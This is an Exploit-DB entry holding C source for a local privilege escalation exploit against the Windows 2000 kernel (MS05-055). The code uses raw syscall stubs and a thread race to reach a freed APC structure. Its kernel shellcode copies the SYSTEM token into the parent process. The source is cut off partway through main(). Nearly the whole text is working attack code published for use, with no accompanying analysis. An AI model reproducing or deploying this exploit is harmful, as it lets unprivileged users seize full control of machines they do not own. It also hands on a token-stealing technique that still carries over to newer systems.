Exploit-DB #1407
Description: Microsoft Windows Server 2000 Kernel - APC Data-Free Local Escalation (MS05-055)
Type: local
Platform: windows
Date: 2006-01-05
Author: SoBeIt

Exploit:
/* helper.c commented out below ms05-055.c /str0ke */

/*
	MS05-055 Windows Kernel APC Data-Free Local Privilege Escalation Vulnerability Exploit
			Created by SoBeIt
					12.25.2005

	Main file of exploit

	Tested on:

	Windows 2000 PRO SP4 Chinese
	Windows 2000 PRO SP4 Rollup 1 Chinese
	Windows 2000 PRO SP4 English
	Windows 2000 PRO SP4 Rollup 1 English

	Usage:ms05-055.exe helper.exe
*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <windows.h>


#define NTSTATUS	ULONG
#define ProcessBasicInformation	0

typedef VOID (NTAPI *PKNORMAL_ROUTINE)(PVOID ApcContext, PVOID Argument1, PVOID Argument2);

typedef struct _UNICODE_STRING {
  USHORT Length;
  USHORT MaximumLength;
  PWSTR Buffer;
} UNICODE_STRING, *PUNICODE_STRING;

typedef struct _PROCESS_BASIC_INFORMATION {
      NTSTATUS ExitStatus;
      PVOID PebBaseAddress;
      ULONG AffinityMask;
      ULONG BasePriority;
      ULONG UniqueProcessId;
      ULONG InheritedFromUniqueProcessId;
} PROCESS_BASIC_INFORMATION, *PPROCESS_BASIC_INFORMATION;

typedef struct _EPROCESS_QUOTA_BLOCK {
    ULONG QuotaLock;
    ULONG ReferenceCount;
    ULONG QuotaPeakPoolUsage[2];
    ULONG QuotaPoolUsage[2];
    ULONG QuotaPoolLimit[2];
    ULONG PeakPagefileUsage;
    ULONG PagefileUsage;
    ULONG PagefileLimit;
} EPROCESS_QUOTA_BLOCK, *PEPROCESS_QUOTA_BLOCK;

typedef struct _OBJECT_TYPE_INITIALIZER {
    USHORT Length;
    BOOLEAN UseDefaultObject;
    BOOLEAN Reserved;
    ULONG InvalidAttributes;
    UCHAR GenericMapping[0x10];
    ULONG ValidAccessMask;
    BOOLEAN SecurityRequired;
    BOOLEAN MaintainHandleCount;
    BOOLEAN MaintainTypeList;
    USHORT PoolType;
    ULONG DefaultPagedPoolCharge;
    ULONG DefaultNonPagedPoolCharge;
    PVOID DumpProcedure;
    PVOID OpenProcedure;
    PVOID CloseProcedure;
    PVOID DeleteProcedure;
    PVOID ParseProcedure;
    PVOID SecurityProcedure;
    PVOID QueryNameProcedure;
    PVOID OkayToCloseProcedure;
} OBJECT_TYPE_INITIALIZER, *POBJECT_TYPE_INITIALIZER;

typedef struct _OBJECT_TYPE {
    UCHAR Mutex[0x38];
    LIST_ENTRY TypeList;
    UNICODE_STRING Name;
    PVOID DefaultObject;
    ULONG Index;
    ULONG TotalNumberOfObjects;
    ULONG TotalNumberOfHandles;
    ULONG HighWaterNumberOfObjects;
    ULONG HighWaterNumberOfHandles;
    OBJECT_TYPE_INITIALIZER TypeInfo;
} OBJECT_TYPE, *POBJECT_TYPE;

typedef struct _OBJECT_HEADER {
    ULONG PointerCount;
    ULONG HandleCount;
    POBJECT_TYPE Type;
    UCHAR NameInfoOffset;
    UCHAR HandleInfoOffset;
    UCHAR QuotaInfoOffset;
    UCHAR Flags;
    PVOID QuotaBlockCharged;
    PVOID SecurityDescriptor;
} OBJECT_HEADER, *POBJECT_HEADER;

__declspec(naked)
NTSTATUS
NTAPI
ZwQueueApcThread(
	HANDLE hThread,
	PKNORMAL_ROUTINE ApcRoutine,
	PVOID ApcContext,
	PVOID Argument1,
	PVOID Argument2)
{
	__asm
	{
		mov eax, 0x9e
		lea edx, [esp+4]
		int 0x2e
		ret 0x14
	}
}

__declspec(naked)
NTSTATUS
ZwAlertThread(
	HANDLE hThread)
{
	__asm
	{
		mov eax, 0x0c
		lea edx, [esp+4]
		int 0x2e
		ret 0x4
	}
}

__declspec(naked)
NTSTATUS
NTAPI
ZwQueryInformationProcess(
	HANDLE ProcessHandle,
	ULONG InformationClass,
	PVOID ProcessInformation,
	ULONG ProcessInformationLength,
	PULONG ReturnLength)
{
	__asm
	{
		mov eax, 0x86
		lea edx, [esp+4]
		int 0x2e
		ret 0x14
	}
}

HANDLE	hTargetThread;
ULONG	ParentProcessId;

VOID NTAPI APCProc(PVOID pApcContext, PVOID Argument1, PVOID Argument2)
{
    printf("%s\n", pApcContext);

	return;
}

VOID ErrorQuit(char *msg)
{
	printf(msg);
	ExitProcess(0);
}

ULONG WINAPI TestThread(PVOID pParam)
{
	CONTEXT	Context;
	ULONG	i = 0;
	HANDLE	hThread, hEvent = (HANDLE)pParam;
	int	PoolIndex, PoolType;

	for(;;)
	{
		if((hThread = CreateThread(NULL, 0, TestThread, pParam, CREATE_SUSPENDED, NULL)) == NULL)
			ErrorQuit("Create thread failed.\n");

		Context.ContextFlags = CONTEXT_INTEGER;
		if(!GetThreadContext(GetCurrentThread(), &Context))
			ErrorQuit("Child thread get context failed.\n");

		printf("Child ESP:%x\n", Context.Esp);
		PoolType = (Context.Esp >> 16) & 0xff;
		PoolIndex = ((Context.Esp >> 8) & 0xff) - 1;
		printf("PoolIndex:%2x PoolType:%2x\n", PoolIndex, PoolType);
		if((PoolIndex & 0x80) && (PoolType & 0x8) && (PoolType & 0x3) && !(PoolType & 0x20) && !(PoolType & 0x40))
		{
			printf("Perfect ESP:%x\n", Context.Esp);
			break;
		}

		Sleep(500);
		ResumeThread(hThread);
		CloseHandle(hThread);
		SuspendThread(GetCurrentThread());
	}

	DuplicateHandle(GetCurrentProcess(), GetCurrentThread(), GetCurrentProcess(), &hTargetThread, 0, FALSE, DUPLICATE_SAME_ACCESS);
	SetEvent(hEvent);
	SuspendThread(hTargetThread);
	ZwQueueApcThread(hTargetThread, APCProc, NULL, NULL, NULL);
	printf("In child thread. Now terminating to trigger the bug.\n");
	ExitThread(0);

	return 1;
}

__declspec(naked) ExploitFunc()
{
	__asm
	{
//		int	0x3
		mov esi, 0xffdff124
		mov esi, dword ptr [esi]
		mov eax, dword ptr [esi+0x44]

		mov ecx, 0x8
		call FindProcess
		mov edx, eax

		mov ecx, ParentProcessId
		call FindProcess

		mov ecx, dword ptr [edx+0x12c]
		mov dword ptr [eax+0x12c], ecx
		xor ebx, ebx
		xor edi, edi
		mov dword ptr [ebp+0xf0], edi
		add esp, 0x74
		add ebp, 0x10c
		ret

FindProcess:
	    mov eax, dword ptr [eax+0xa0]
		sub eax, 0xa0
		cmp dword ptr [eax+0x9c], ecx
		jne FindProcess
		ret
	}
}

int main(int argc, char *argv[])
{
	HANDLE	hThread, hEvent, hProcess;
	PEPROCESS_QUOTA_BLOCK	pEprocessQuotaBlock;
	POBJECT_HEADER	pObjectHeader;
	POBJECT_TYPE	pObjectType;
	ULONG	i = 0, ProcessId;
	STARTUPINFO si;
    PROCESS_INFORMATION pi;
	PROCESS_BASIC_INFORMATION pbi;
	char Buf[64], *pParam;
	PULONG	pKernelData;

	printf("\n MS05-055 Windows Kernel APC Data-Free Local Privilege Escalation Vulnerability Exploit \n\n");
	printf("\t Create by SoBeIt. \n\n");
	i